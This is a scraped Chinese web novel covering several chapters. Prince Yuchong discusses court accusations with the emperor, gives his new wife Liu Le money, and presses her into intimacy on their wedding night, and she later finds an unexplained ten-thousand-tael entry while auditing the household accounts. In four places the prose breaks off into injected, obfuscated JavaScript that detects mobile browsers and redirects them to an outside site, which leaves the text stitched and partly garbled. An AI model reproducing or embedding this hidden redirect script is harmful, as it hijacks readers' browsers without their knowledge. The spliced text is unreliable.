皇帝温和地问:“你这亲事,可还喜欢?” “臣喜欢,谢谢皇兄关怀。” “前日问你,你也是这般说。” “我的心不会朝夕更改,不管皇兄何时再问,臣都是这般答。” “你当我为何又问你一次?——你成婚快活了几日,朕就烦恼了几日。”皇帝从侧面拍了拍案上垒得颇高的一摞奏章,“你瞧瞧——前日没告诉你,那时候参本已经来了,自从释了计正辰,且又增多一倍。” 予翀走上前,把那摞歪斜摇晃的奏折规整了一规整。“恕臣弟愚钝,臣弟不知,臣弟成亲,如何碍了大人们的事?” 皇帝斜他一眼:“如今都说你看上计家妇在先,设计构陷计正辰,好好一个官员叫你害得入了狱不算,又霸占他妻子。” 40. 晋王和皇帝 予翀面不改色道:“陛下明鉴:臣弟在皇祖母的寿宴上才头一次见到……计正辰的夫人,即便当时留了意,臣怎能知晓荥阳一定有事,正好用来陷害计正辰?” “朕知道你不做这种事,可是朕如何向众人解释?偏偏计正辰牵进案里,偏偏他们夫妻和离,你转头娶进王妃,这边计正辰便无罪开释,何来这么巧凑在一处,别人如何信?” “可是事情果真是这么凑巧。昔日,王妃还是计正辰的妻子时,臣见着她,确实喜欢,不过知她已嫁了人,夫君又德才兼备、是陛下爱惜的臣子,臣可没有半分逾礼之举。后来听说计正辰犯罪事发,臣才替他的夫人不值当。他们既然和离,再无干系,那么臣娶柳氏也是名正言顺。再后面查清计正辰无罪,臣对他便无嫌憎。若臣果真怀有私怨,陷害计正辰,就会一力害死他;若陛下偏听偏信,举枉措直,也不会使他好端端开释复官。谁有话说,臣可以理直气壮答他。” “那你答吧。”皇帝起身,又在那沓奏折上重重一拍,“连你的老师谭友鹤也在其中。” 予翀沉默一会儿,说:“这些参本陛下不需理会,臣想,他们慢慢就会明白。” 皇帝走出龙案,来回踱着步:“其实是因你而起——要不是你病中做了那个梦,一醒来便催促朕,要朕派人去建水坝,此事本也不必那样急;朕确实听闻计正辰有建坝的方案,但朕想,他毕竟年纪甚轻,少些历练,还是先办几件小差事再说,若非你向朕提他,朕不会派他去。建坝令他们事情败露,计正辰去了又被牵在其中,你又娶了他的夫人,要说凑巧,当真是巧啊。” 予翀说:“日有所思,夜有所梦。臣翻看以前的信件文书,发现臣原本便想推荐一人修建水坝,大概臣心里始终存着这事,才会梦到;臣又是因这梦而醒,所以臣以为建坝之事重大,才会立即向陛下禀报。梦中建坝之人偏是计正辰,臣也纳闷不知何意。其余的事情,臣更是实在没有料到。” “对,对。你这梦是好梦,修建水坝、揪出逆臣、发现铁矿,全部都是好事,中间出些微差错也无法,是天意如此吧。”皇帝站住叹了口气,瞅瞅予翀,又打趣道,“要说还有什么好,就是你得了一个王妃。” “是。”予翀一本正经地回答,“其他事情臣也高兴,但娶到王妃臣最高兴。” “唉,你这性子真是没改。”皇帝摇了摇头,忽然又说,“现在满朝文武要么是骂你,要么不说话,唯有一人向着你,你道是谁?” 予翀想了想:“臣不知。” “是谢家。”皇帝加重了话音,“并非太后说情,是谢家自己不计前嫌站在你这边,朕也没想到。” “他们相信臣,臣很感激,不过臣不记得与谢家有什么‘前嫌’。” “你别装傻。”皇帝眼睛向他一横,“你那王妃,本来该是姓谢。” “臣不敢在皇兄面前假装,前事确实都不记得了。若说婚约一事,臣本来是会为难:且不说病中臣同废人一般,便是愈后也诸事皆不晓得,实在配不上谢家姑娘。由谢家先勾销婚事,臣非但不怨恨,反而大松了一口气,不然臣自己确实不好提出。臣虽有这个想法,到底是谢家先行一步,臣想,不至于为此伤了和气吧。” “你在病中,不好耽搁了他们二姑娘,也就算了;他们还有个年纪小的,你若娶了她,如今不是谁也无话可说?” “臣的婚约是与二姑娘立的,臣对她已深觉惭愧,何敢另思想谢家女儿。纵臣心上再无他人,亦不能从命。” 皇帝轻轻摆了摆手,又踱起步来:“不必管谢家了。朕先弥补计家,这总是咱们理亏吧。” “陛下不是要将计正辰升迁?” “对,我叫你来,正因此事:为计正辰,计衔山生了一场病,如今好好的官也不做了,要告病辞任,朕心中甚不过意;他年事已高,朕也不好强求,照朕想,把他儿子升一升并不为过。” “不为过。”予翀缓缓地说。 “先加升一级,后面慢慢再来。”皇帝自语道,向予翀转过身,“朕还有更不过意的——你那位岳丈,柳老先生是元朔九年二甲第七名,朕只与他一个虚职,实在委屈了,朕想要他去吏部,你看如何?” 予翀沉吟片刻,说:“臣感激陛下惜才厚意,但是我的岳丈确实不喜做官,恐怕勉强不来。” “那么你的内兄,朕听闻他亦是才能出众,也该安排个适当的职位。” “我那内兄要说也有几分才干,不过不必急在此一时,慢慢候缺吧。” “既然如此,先依你。”皇帝看看予翀,“朕记在心上,不会远,总是要柳家风风光光的。” “臣弟谢过皇兄。” 皇帝沉默着,再踱了两圈,张口道:“眼下刑部没有空缺,还得想法挪一个位子给计正辰,所以你荐的那位许冕,暂且无处升他,先放放罢。” “刑部?”予翀正赏御屏上的山河图画,闻言猛地转过头,“他要去刑部?” 皇帝停住脚:“朕答应任他选择,选哪里就是哪里,昨日计正辰上奏说愿去刑部。” 予翀笑起来:“许冕没有关系,有合适处陛下再升用。不过计正辰……臣以为他会想着外放,没想到他愿意留在京城,还专挑了刑部,他倒是很能忍辱负重嘛。” 皇帝不以为然地说:“他既没有过犯,大家看他自然不同,到了刑部,也算是彼此都熟悉。朕倒愿意官员都如计正辰一般心胸开阔、不计前嫌。” “臣想起来了,”予翀忽地哼一声,“陛下说一开释计正辰,参本更多了。陛下不若再去查查,这风一定是从计正辰那儿放出来的。” 皇帝板起面孔:“你还说与他没有私仇?” “臣怕他有——计正辰对臣难免心怀怨恨,与臣作对。” “他就是心里不满,还能把你怎么样,你怕他什么?放他远远出去,京里的人就能把这事忘了?” 对着皇帝的目光,予翀微微低下头,坦然地说:“他在哪儿我自然都不怕。臣只是想……计正辰偏要去刑部,臣看他此举有点儿蹊跷。” “有何蹊跷? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宝通是京里最大的钱庄,柳乐自然也知道。她摇摇头:“殿下收回去吧,用不着。” “你不用多心,没旁的意思,这是我早就准备了要给你的。”予翀再把银票折好,放入柳乐手中,捏住。 柳乐慌乱地挣了几下,没挣开。“我在这儿衣食不缺,用不到银子,就是平日赏人、买东西,一月有几串钱足矣。” “柜子上有零钱,用完了叫人再添。这个不是给你用。我听闻岳父母有意换所宅院——” 柳乐打断道:“是我哥哥向你说的?” “没人向我说。我原本正有这个想法,只是一直没寻到适合的宅院,最近听经纪说钱家手里有套院子要售,正在与人谈,我便让他留意着。再往深一打听,谈的那人就是你哥哥。我想既是同一码事,何必多转个圈。况且我也不便直接出面,这样更好,你就把这银子给你哥哥,办成这桩交易,彼此便宜。” 柳乐这时总算抽出了手,“多谢殿下,不过——” 41. 心意和心乱 “不过什么,拿着!”予翀盯着柳乐动作,仿佛要看看是不是有人胆敢不领情。柳乐拿也不是,放也不是,涨红了脸,方要再设法推却,予翀又说:“总得让我表一表对岳父母的孝敬之意。” 他的语气很随便,可是柳乐从中听出了一点恳切的意思,顿了一顿,轻声道:“殿下的心意我们全家都很明白,但这事由我哥哥办就好了,不然他们会不安。”说着,她又把银票放回桌上。 予翀叹一口气:“你就不怕我不安?女婿不比半个儿子?我也想要为爹娘多多出力,不过现下只能拿出这么一点儿。” “这是很大一笔钱。”柳乐喃喃道。 予翀笑一笑:“银子容易得来,热热闹闹建个家却不易。岳父母现今住的地方就很好,虽说小些,那几间房舍我看甚是舒适古雅,风水也好。就不说上面房屋,单那块地皮便值不少,将来只会更多——我看不必着急去出售,怪可惜的,雇个人看着屋子又不费什么,来日或有别的用处,或确实用不到,那时再售不迟。” 这席话正正打在柳乐心坎上:她本就舍不得卖掉老宅,哪怕空着不住,知道它在那儿,也是个念想,而且万一将来再有起伏,总还留个退步处。 予翀又说:“钱家手上那所宅子我也见过,前头的主人是礼部尚书,挺方正的一个官儿,倒是的确懂得收拾庭院。若是钱家人自己住进去,那真是糟蹋了,不过他们的价钱定得十分公道合理。我找人估过,七八千,你们没多花钱,卖方也并没吃亏。——不用顾忌,今天二十了,这月就余十天,要你哥哥尽快与人交割明白,立好契书,赶在腊月前搬去。去了不免还要布置一番,忙活上一个月,屋子也住热乎了,园子也熟悉了,安安逸逸过个年,不是正好?” 柳乐听了愈发心动,她想:索性都是借钱,究竟拿他的银子比拿钱家的银子要好;即便他们是双疏离夫妻,总是强过钱鸣和柳图那对酒肉朋友。再说,如此一来,可以保留老宅,父母家人也都能住得舒舒服服,便是别人还犹可,两个小侄儿一定得高兴坏了。孩子一高兴,全家人自然无有不高兴的,如今好好安顿下来,银钱的事总能想法解决。 唯有一点——拿人手软,受了他的银钱,这人的可厌之处似乎消了两分。柳乐偷眼去瞧,这一想,她的面颊不禁又发烫,赶紧移开目光。 她还没开口,予翀又说:“你不肯拿,我只好直接交给你兄长,他定然要来谢一番,我却不愿受——你哥哥那人,我瞧着厌烦,懒得与他打交道。” 柳乐深知柳图——得了银子,他必定要千恩万谢,加上许多吹捧话,说不定得寸进尺,又要求高升——也不愿予翀见他。可毕竟是自家哥哥,这话听着实在难堪。 沉默了一会儿说:“我拿给我哥哥吧,只是将来我必定还你。” “不要你还。”予翀把银票塞入柳乐的荷包,“你以为还回银子,就与我没牵扯了?日后的牵扯还多呢。还有事要烦你——回头我让人把账簿拿来,以后家里的银钱事宜都交给你。虽然有几个账房管办,要操心处也不少,别人我又不放心,当然是交给自己最亲近的人。你看,夫妻之间哪有那么多见外。何时你也能真的把我视为夫君?”他戏谑道,抬手去握柳乐肩膀。 柳乐一步退开,看予翀脸上并没有露出愠色,忙说:“那我明日去给我哥哥,顺便看看爹娘,可否允我在家——” “不行。”予翀立即敛住笑,沉下脸,“拿来,还是我去给他。” “让我去吧,我和爹娘几句话说清楚就回来。”柳乐急忙改口。 “你去了即回,不得耽搁。” 第二日一早,柳乐带着巧莺回柳家。这次不算省亲,不愿大张旗鼓让人知道,两人只乘小小巧巧一辆车,不到巷口就下来静悄悄走进去,也只有两名侍卫跟着。 江岚看女儿突然回家,吓了一跳,柳乐忙解释原委,这才放心。见无人,江岚便将计晨已释放归家,并无大碍,只等年后复官,董素娥登门来谢等事略提了一二句,柳乐也不多问,又去和父亲妹妹等说话不提。等兄长下值,柳乐拿出银票给他,柳图自是大喜过望,一定要亲身去向晋王谢恩,柳乐说:“不必着急,以后见面再说罢。王爷说要尽快立好文契,赶这个月好日子就先搬去。此处屋子也留着别卖,只将些紧要的东西带上就是了。” “是,是,腊月不搬迁,我明日就告假,赶紧先办了这件大事。搬家的事谁都不用操心,我从衙里唤几个差役帮忙,一定稳稳妥妥的。”柳图满口答应不迭。 见时候不早,柳乐叫一名侍卫先去瞧瞧王爷在不在府里。一时侍卫回来,回复说没见到王爷。柳乐心想何必着急赶回去,又在家里吃了晚饭,上灯时分才辞了家人出门,仍旧在巷子外登车。 等走出一段,她开窗唤车子停下,吩咐说:“送我去街市上转转再回。”且不去附近的街道,怕遇上熟人。车夫不敢违拗,直走了五六里,来到一条卖各样杂货吃食、闹哄哄的小街上。其实柳乐并非真心想逛夜市,多还是为了试探自己出门是个什么情景。她和巧莺两人在街上转来转去,时不时也钻进铺子去瞧瞧,两个侍卫只远远跟着,转了半个时辰,看天实在晚了,方回王府来。 回屋梳洗更衣毕,柳乐打发巧莺去歇息,自己挑了本书,打算看看再睡下,就在这当口,予翀大步迈进来,进门就问:“你跑到哪里去了?” 柳乐忙起身:“我刚刚从我爹娘家里回来。” “我怎么没看到你?” 柳乐愕然:“殿下去了我家?” “没进去。”予翀简短地说,“饿得很,不见你回来吃饭,就去瞧了瞧。” “我没想到殿下会去接我,在家用了饭出来,突然想去夜市逛一会儿,为消消食。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938246|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”柳乐不安道,“去了南衡街那里,想是碰巧与殿下走岔了。” “怎么逛了那么久?又没人跟着。”予翀脸上显出些不高兴的神气。 “两个侍卫一直跟着。” 予翀倒也没追究,又问:“岳父母大人身体可好?” “都好,谢殿下记挂。”柳乐把回家的情形大致讲了讲,又说已经嘱托了哥哥,如此这般,看予翀并不很注意听,打住话说,“你还没用饭,我再陪你用些。”便招呼丫环摆饭。 予翀向丫环摇摇手:“不吃了,拿热水来。”说着,自往净室去了。 一连数日,柳乐只在半夜醒来时发觉予翀在身边,但入睡和起床的钟点都只有她一人,渐渐已习惯了他的“不碍事”。不想今日他早早就过来,顿觉别别扭扭的,连换了几本书都没看进去,像个不专心的学子,最后只得将自己钉在书案前,勉勉强强往下读。 只读了几句。心里头一半似有好些小人吵架,乱糟糟的静不下来,另一半则飘来飘去,每每要飘到净室那儿,柳乐忙又拽它回来。这么去了四五遭,究竟也没听出那边到底何时没了动静,待要留神细听,看到墙上影子晃动,才发觉予翀已经站在旁边。 她蓦地紧张,埋下头,眼睛在慌乱中只抓住了几个字:“虎豹以炳蔚凝姿①”。 “读的什么?”影子罩下来。 柳乐一把合上书——指望他没发现她才翻过了一页——手举得高高的,把书本举在他面前,但她并没有抬起脸。予翀向封皮扫一眼,又问:“外面冷不冷?” 柳乐心道:你自己也刚从外头回来,反来问我。嘴里却答:“不冷。我看今年冬天是不大冷,屋里也热,该让他们去几只炭盆。”她说着话,又把书翻开,始终不抬头。 “真不冷?”予翀犹不信似的,伸手向她手上试了一试,忽地一使劲,把她拉入怀中,头埋进她的颈窝,含含混混地说,“好些天了,该过去了吧?” 柳乐还不知怎么就这么一霎就和他紧贴着了,方寸大乱,想了一下才明白他问什么。是过去了,可她一急,又想拿它来搪塞,方要开口,他抬起脸,嘴巴落下来。 “不行,我这儿过不去。”他从齿间含混说道。 柳乐心中一片张惶。他那么用力把她压在怀里,臂膀像一副铁甲在她身上箍得很紧,她简直透不过气。不过,她一点儿都没被弄疼。突然之间,他和她分开,向她脸上短短一瞥,随即再次贴紧。 那一闪眼间,柳乐看见了他的样子:他刚刚洗过脸,一绺头发从额前垂到眉尖,如雨后树木的枝桠,闪着湿漉漉的亮光。他的五官本就醒目,仿佛执画笔之人有意将那眉、眼、唇刻画得轮角分明。这时,他的眉宇中有种强劲有力、不可动摇的神采。她急得用勉强还可活动的双手去推他、撼他,但他分毫不可动摇。 虎豹以炳蔚凝姿。 42. 羞辱与抵赖 大概是那绺湿发拂过她脸上,凉凉的。柳乐想自己的脸一定是烫得可以了。不过,他的唇还要更烫,炙着她的唇,夺去她最后一口喘息。 渐渐地,柳乐又模模糊糊感到四肢懒懒的、倦倦的。好一时,她脑中空空荡荡,不知自己身在哪里。随后,她感到惊异:自己自出生来还从没有经验过这样的感觉。当然不会有,她立即醒悟过来——她不是和他才做了夫妻,别家也都是这般吗?她浑身发烧,突然记起这是害羞,仅刚才那个念头就让她羞死了。 “松开,我喘不过气了。”当柳乐终于缓过气、能开口时,挣着说出一句话,惊觉自己的声音是喘咻咻的。予翀只放开了她的嘴,她惶惶地晃着脑袋,嘴巴藏躲着他,他也不去强求,转去亲她的眼睛、发鬓、耳朵、脖子……面颊擦着她的面颊。 可是透不过气的感觉还在,柳乐的心像一桶翻腾不止的水,慌得要泼洒出去。一偏头,她看见墙上的影子摇颤着。她的脊背一点一点变软,就在膝盖即将使不上力时,予翀用手托住了她,让她的头倒在自己胸前。 他的手直接贴在她身上——衣襟不知何时散了。柳乐抬起脸,羞惭而恳求地望了他一眼,予翀又一次衔住她的嘴唇。 柳乐顾此失彼,难于招架,又疑心予翀把她的羞怯当作忸怩作态,因而得到鼓舞,因为那双手好像受什么引着一般。柳乐忽地明白过来,奋力要挣开,予翀哪里允她。 他的手一路滑下去,忽地将她抱起来,抱进里屋去了。 这时柳乐已经明白,即将发生的事不可能是一件可怕的事,但是,当她看见床边案上点着的那盏灯,还是惊恐地向它看了一眼。顺着她的目光,予翀回头一望:“别管它,闭上眼。” 柳乐的眼睛张得更大了,不安地避开他,紧张地盯着那团比平日明亮一百倍、把床上被单照得分外明晰的光,于是予翀转身去熄灭了灯烛。 黑暗中他向柳乐俯来。果真是黑暗吗?柳乐头晕目眩,眼前仍然还是点点滴滴的金色:金色的蜜蜂在太阳的光柱里嗡嗡地穿梭。 当予翀在柳乐身边躺下时,似是自言自语地说了几个字。话音非常轻,几不可闻,但柳乐正处在一种奇怪的朦胧恍惚中:哪怕有人在屋外头敲锣都未必能让她惊动,这几个字却清楚地飘进她耳朵。 他说:“这身子倒好用。” 又过了好一时,柳乐才明白它们的含义。几个再寻常不过的字突然变作半空中一根鞭子,在她身上抽了一记,她一下子向他转过头。太暗了,她只看见他的眼睛正盯过来,向她脸上搜索、窥伺。 停一停,他说:“不是那个意思。” “那是什么意思?” “反正不是那个意思。” 没见过更心虚无力的抵赖,柳乐都快笑了。还能是什么意思? “我实在没什么,大概是殿下用得好。殿下有这么个本事,才是值得夸耀。”在寂静中,她听见自己的声音又轻又细而又清晰,不像鞭子,像一根绷直的线。她只能伤他到如此,甚至根本伤不了他分毫。 可她能说什么?天底下又还有哪一句随口话,能像他那句一样把人看低到极点? 予翀用手臂撑起身体,斜在柳乐上方,望着她。“我确实不是那个意思,只是无心的一句话。无论如何,是我说错了,对不住。” 柳乐在枕上摇了摇头,自己都不知道是表示不信他的话,还是表示没关系、无所谓的意思。他一个王爷,能道句歉大概就了不得了,和他较真才是自讨没趣。可她实在不想再看见那双眼睛,不想看他心满意足地倒在枕头上。她把头偏到一边。 好大一会儿,两人都不动,予翀下不了台阶,来了气,猛地翻身下床,焦躁地说:“你愿意那样想就想吧,反正也不算不确。”他捡起衣裳胡乱地一穿,一气走出屋子去了。 . 柳乐以为头天晚上既已吵到那么僵,至少有几日是不用见面了,谁知天亮后没过多久,予翀又若无其事地走来。 他怀中抱着一堆书册,分成两摞放在案上,指着其中一摞说:“你还记得前几日我说有事请你帮忙?这些是近两年——从我生病后——封地上的岁入和开销,你瞧瞧看,给挑挑毛病,倘有不周至之处,往后该如何改善?” 柳乐本来只淡淡瞥一眼,便转过目光,听见这话,再没法装作无动于衷,呼地站起身:“不行,这个我做不了。” “你还没试试看,怎知不行?” “不必试,我根本不懂。”这一接话,昨日晚间那事仿佛就过去了,柳乐心里虽还没过去,可这时候也顾不上想它,只管连连摇头,“我从没学过,没那个见识,当不起。” “我不过也是才学着做。”予翀微笑道,“其一,我不知自己学得好不好,做得对不对,你能帮我出出主意就再好不过了;其二,我还有别的事,怕能在这上头花费的工夫不够,也确实需要你帮忙料理。” “并非我不肯为殿下分忧,可是这件事,要我出谋划策只怕反弄坏了。我想殿下必有几位幕友,定能想出高明法子,委给他们岂不是更妥当?” “确实已有人在照管,但我想不可全部交给他人,还是咱们自己熟悉才好。”予翀仍笑着,鼓励的目光看着柳乐。 “殿下太高看了,我真的不行,并非推却。”柳乐说,“这实在是关系万千百姓的大事。殿下想,我连京城都不曾出过,对晋地那边根本不熟悉,怎知如何行事?” 予翀答:“你说得有道理,不过我并不是立即要你接手的意思。即便将来熟悉了,各样事也有专人管,如遇大事,咱们还要一起商量。现下,你可以先看看这些东西,心里有个底,这样往后无论是谁办、怎样办,至少没人敢糊弄你。” 柳乐松动了一些:“殿下既信赖,我先看看,若实在不懂……” “我就知道没选错人。”予翀笑着说,“不懂不怕,我找人教你。做了王妃,担子可不轻呐。” 柳乐看他一眼,不知他是到底是玩笑还是正经。 予翀忽地问:“若将来去封地,你舍得离开父母?” 柳乐没答。婚前,便听太皇太后说过,只要她在世,定不放予翀离开京城。以后的事,柳乐没想过那么远,才成亲几日而已,她先前甚至想,自己这王妃不定能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“如今总数就按减去三分之一计算,收来的这笔银钱拿出一半,其中少部分留着防备灾荒,剩下的都花销在开山辟路、修渠建桥等事上——所谓‘取之于民,用之于民。’” 柳乐不住点头,“这些该多做,还有开医馆、办学堂……” 予翀笑了:“果然你有主意。这些事罗大人倒也在办,只是不能一下子全部完备,如今已有个雏形,后面逐渐增补。你有想法,不管与我商量或与罗大人商量皆可,你可以直接写信给他。” 柳乐感到不好意思,忙说:“罗大人真是位好官,既然他都想到了,就依他的办吧,你接着说。” 予翀道:“还有就是兵士们的粮饷,除去这些,剩下便是王府的私用了,大约还有总数七分之一的银子。如你所说,有一些幕友为我办事,另外那边也照这里建了一座府邸,各样都现成的,故也有家下人要养着,要留些银钱。这么算下来,差不多有总数十分之一,供你我与这一院子人的全部花用。” 说到此处,他停下,手指向另一摞册子:“那么这件事你可要答应我了吧,权当是为将来做准备。” “又是什么?”柳乐不由问道。 43. 收入和账册 “这是咱们家的家政。”予翀答,露出一丝笑,“如何,你先把咱们这座王府管起来?别再说你当不起,你定能比我做得更好。以后一应银钱出入都由你做主,不管在哪里用了,不必问我。” 这回柳乐并非措手不及了,可她不得不疑心予翀究竟是什么意思,依旧摇头:“殿下太高看我了,我没做过,做不来。” “谁生来就会?不必顾虑。”予翀仍是笑,“我把家底都交给你了,你还推,可显得不厚道了。这些是王府里的总账,能看见的人不多,王府的收入花销全在上面,你有工夫时可先瞅瞅,若有不明白,或者还想看其它细账,就找这个人——”他随意翻开账本,手指着上面一个印章,“这个胥增百是总账房,账上的事情,你叫他进来问。其余大小事,都找内务总管。” 柳乐见难以推辞,又想起太皇太后的话,便道:“上次太皇太后说要添些人,殿下看……” “太皇太后说要我听你的。”予翀笑道,“你看要添做什么的人,告诉总管,让他先去挑,挑好了带进来给你看。说是从哪处荐来的,你都不必理会,反正,只有你瞧着好了才留下。” 柳乐想,本来王妃该是个达官显贵家的女儿,嫁过来时就会带不少人,不像她,只有一个巧莺。太皇太后是一番好意,怕她在王府感到势单力薄,可她其实并无心培养自己的“势力”,顶好是先熟悉了府里这些人,只要他们不至于背后骂她,就已经很好了。 于是她说:“眼下这些人,似乎也够了,要不然,以后需要了再说?” 予翀点点头:“都由你。不是要一两日就如何,时日还长着呢,慢慢看吧,现在这些人不合适了也能换。” 他已向外走去,又在门口立住说:“不必顾虑,要做什么,只管大手大脚放开去做。银子如何用全凭你做主,你看看前头,若有要改的尽管改,只是不要太过省俭,若一文不取,一分不花,未免有负皇恩。”他带几分揶揄地笑着。 予翀走后,柳乐望着桌上的册子,到底没忍住,先去把他所说记录封地岁入的那一摞翻开。 翻了一翻,她看明白王爷的封田有五十万倾,近二三年虽不是十分风调雨顺,但也没有大饥大馁,减去三分之一后,每年纳的钱粮约合三百三十余万两。数字之庞大令柳乐一惊——倘若刚才知道是这个数,她恐怕不敢轻易接话。 账册中间夹着不少罗驰给予翀的公函书信,信上的日期都是最近这半年的,从内容的确看出罗驰办事严谨,心系百姓;同时,柳乐也看见了予翀做王爷的一面:他的病刚好不久,就急着把前面耽搁的事情一一落实——都是利于百姓的事。这一来可比他自己说什么做什么都管用,柳乐对他一下子改观了许多。 她也读了田亩赋税条例,读了好几遍,心中细细一想,对罗驰钦佩不已。她知道自己在这方面的学问实在浅薄得很,若不经好几个月的学习,别说挑毛病了,根本连和罗巡抚对面讨论都谈不上。 柳乐半含惭愧地把面前的书册放入柜中锁好,又打开王府的账目来看。 这本厚厚的账册是予翀封为晋王时开立的,如今记到第五年。这五年的账目按年份分开,又合成一个大簿册;纸张是上好的桑皮纸,装订得整整齐齐。柳乐先翻到本年的,看了几眼。 账目分“进”、“缴”等类,一条一条列得十分工整清晰,涉及的数目最起码也是几百两。每列下面都有胥增百的印章,在所有进项和大宗支出后,另还印着“予翀”二字。柳乐认出这正是上次予翀给她看过的那枚玉章,她不肯要,但予翀还是让人送了来,她那时不知该做什么用,就放进了梳妆匣的小抽屉里。 柳乐从前没见过这种专业的记账,边看边琢磨,不一会儿也就瞧出些名堂。她发现从立账头一年起就有笔三十万的款项,此后每年增加几千的利钱,到今年已变为三十二万——这笔钱一直没挪过窝。 她在家时听母亲说过,无论什么样的人家,都不能入多少、出多少,结余,方为过日子之法,何况谁都可能碰上艰难的时候,还得有一笔银子以备急需,或放在钱庄,或藏在箱底,非实在不得已的时候不能拿出来,有了这笔钱,心里才踏实,晚上睡觉才得安稳。 想来这笔“安心钱”数目多寡依各家情况而不同:无家无口的单身汉,三十两就足够存身一时,恢复元气;小生意人,要有三百两作本钱,方能重整旗鼓;大户人家恐怕得有三千两、三万两;而对王府,就是三十万两。 看到王府也和母亲一样的办法,柳乐笑了,跳过这三十万及其利钱,更加起劲地研究账册。 如予翀所说,王府收入约是封地整体收入的十分之一。按总数三百三十万算,差不多是三十万出头。此外,王爷在京里也有几处小产业,可得收益两三万。 一年三十四、五万的进益,柳乐看来,简直一辈子都不可能花完,可她再向花费的地方瞄去,那才是类目繁多。 王爷的衣冠鞋帽,一年预算是八千两,王妃的衣服首饰脂粉,同样也要八千两,王爷每月“零用”有一千两,王妃亦随此数目。也就是说,予翀和她两人每年要花掉四万,这还不算吃饭呢。 王府厨房每年花费又是一万两,这些包括全部仆从和侍卫的饭食,若每个人都吃得好,柳乐想,倒也罢了。 车马费一年五千两;上用银炭一年要用五千斤,木炭十万斤,合银三千两;各类香料五千两,如此等等总共有几十个名目。 还有一个杂项,大约是些零零碎碎不值得单独列出的,一年也要一千二百两。 各种人情礼同样是大头:王府结交的自然都是皇亲国戚,不比小百姓们互相走往,拎几包点心就够了。平日的宴请、红白喜事的贺礼奠仪算下来有四五千,逢到尊亲长上的大日子——譬如太皇太后的寿诞,仅置办寿礼一项就花去一万五。虽不是年年都过大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可柳乐是个较真的人,事情一旦开了头,总想着做完它。何况她看也看了,心里也盘算了,发现自己还挺爱盘算:先前父亲只管教书,学堂里的收支调度都是母亲操持,她还是个小小丫头、才开蒙的时候,就喜欢站在桌边看母亲拨算盘,耳濡目染地学了算账,懂得些理家的法子,不过等她大了想自己上手试试时,又来了嫂子,当家的事交由嫂子,她做小姑的偶尔出出主意罢了,不好替嫂子做主;再后来去计家,钱财事务都叫董素娥揽着,连出主意都用不着她。如今,总算有机会给她——好比学厨多年,终于轮到自己掌勺了,又是一顿丰盛大宴——怎能怨她手痒痒? 柳乐再次把账册翻开。若依她,这里头一半花费都能砍掉,可她想起已经被予翀取笑小家子气,就不好由着自己的性子省俭,而且予翀的意思恐怕是说:只管把钱积下,会招惹猜忌;二则,书本上讲,要推行变革,不能把既定的东西一概推翻,须得一步一步来。 她想:可以先不考虑如何少花,而是如何花得合理,把不必要的银子省出来,放在必要的地方。 那么,到底有没有不合理,若有,是哪一处? 44. 一万和猜疑 吃过午饭后,柳乐把纸、笔、算盘都在桌上摆好,又一头扎进账册中,把这一年花费的各样明细账目细细拢了一遍。这一来,可有了个蹊跷的发现——所有的帐,至少从表面看都对得上,惟独在八月间,有笔一万两的支出,记在翻修花园的名目下,却没找见实际花在哪里。 一万银子,八月。柳乐的心乱跳起来——不就是那个时候,在计家莫名其妙挖出来银子,不多不少,恰好是一万两! 不可能,是算错了吧。她只算修花园一项,又算了两三遍,总是多出这一万两。 晚饭时,予翀过来,见了责怪说:“怎么饭都不吃,这可让你太辛劳了,要是这么着,不如还给我好了。” 柳乐不露声色:“说了我不懂,所以看得慢些。不过倒挺有意思,我想明日请教请教胥增百。” “好啊,明日你叫他。”予翀喜悦道。柳乐把东西收起来,两人一起坐下吃饭。 第二日,柳乐知道予翀白天一整天不在王府,便唤人请胥增百到书房说话。 一时,胥增百来了,向她躬身问好。 柳乐抬头一看,这位胥账房与她父亲差不多年纪,个头不高,一张圆脸很和气,穿着簇新的褂子,不大像个账房,倒像个绸缎庄的老板。 她忙站起身,请他在桌子对面坐下。 胥增百再三不敢,直至柳乐说:“劳烦胥老先生来是为了请教账目的事,我的问题多,且得一会儿工夫,老先生若不肯坐,我就不好问了。”方告了坐。 柳乐和气地问:“胥老先生帮王爷有好些年了吧?” “不敢不敢,”胥增百答,在椅上欠了欠身,“在下是殿下封王那年过来做事,到明年二月满五年。” 柳乐笑道:“这就是好久了。我来王府才几天,先前也没看过这种帐本,有好些不大明白的地方,还望老先生多加指教。” “不敢不敢,王妃过谦了。请王妃指教,在下知无不告。” “我看王府有要用银子的地方,都是各处管事的头儿去支,若数目不大,便直接支了,若大,还要王爷过目,是这样吗?”柳乐问。 “是这样。一般的数目,在下等人核实后便让他支领,若一年里总数超出了,或是单次数额过大,在下还要详细核实,报于王爷,王爷允了方可。” 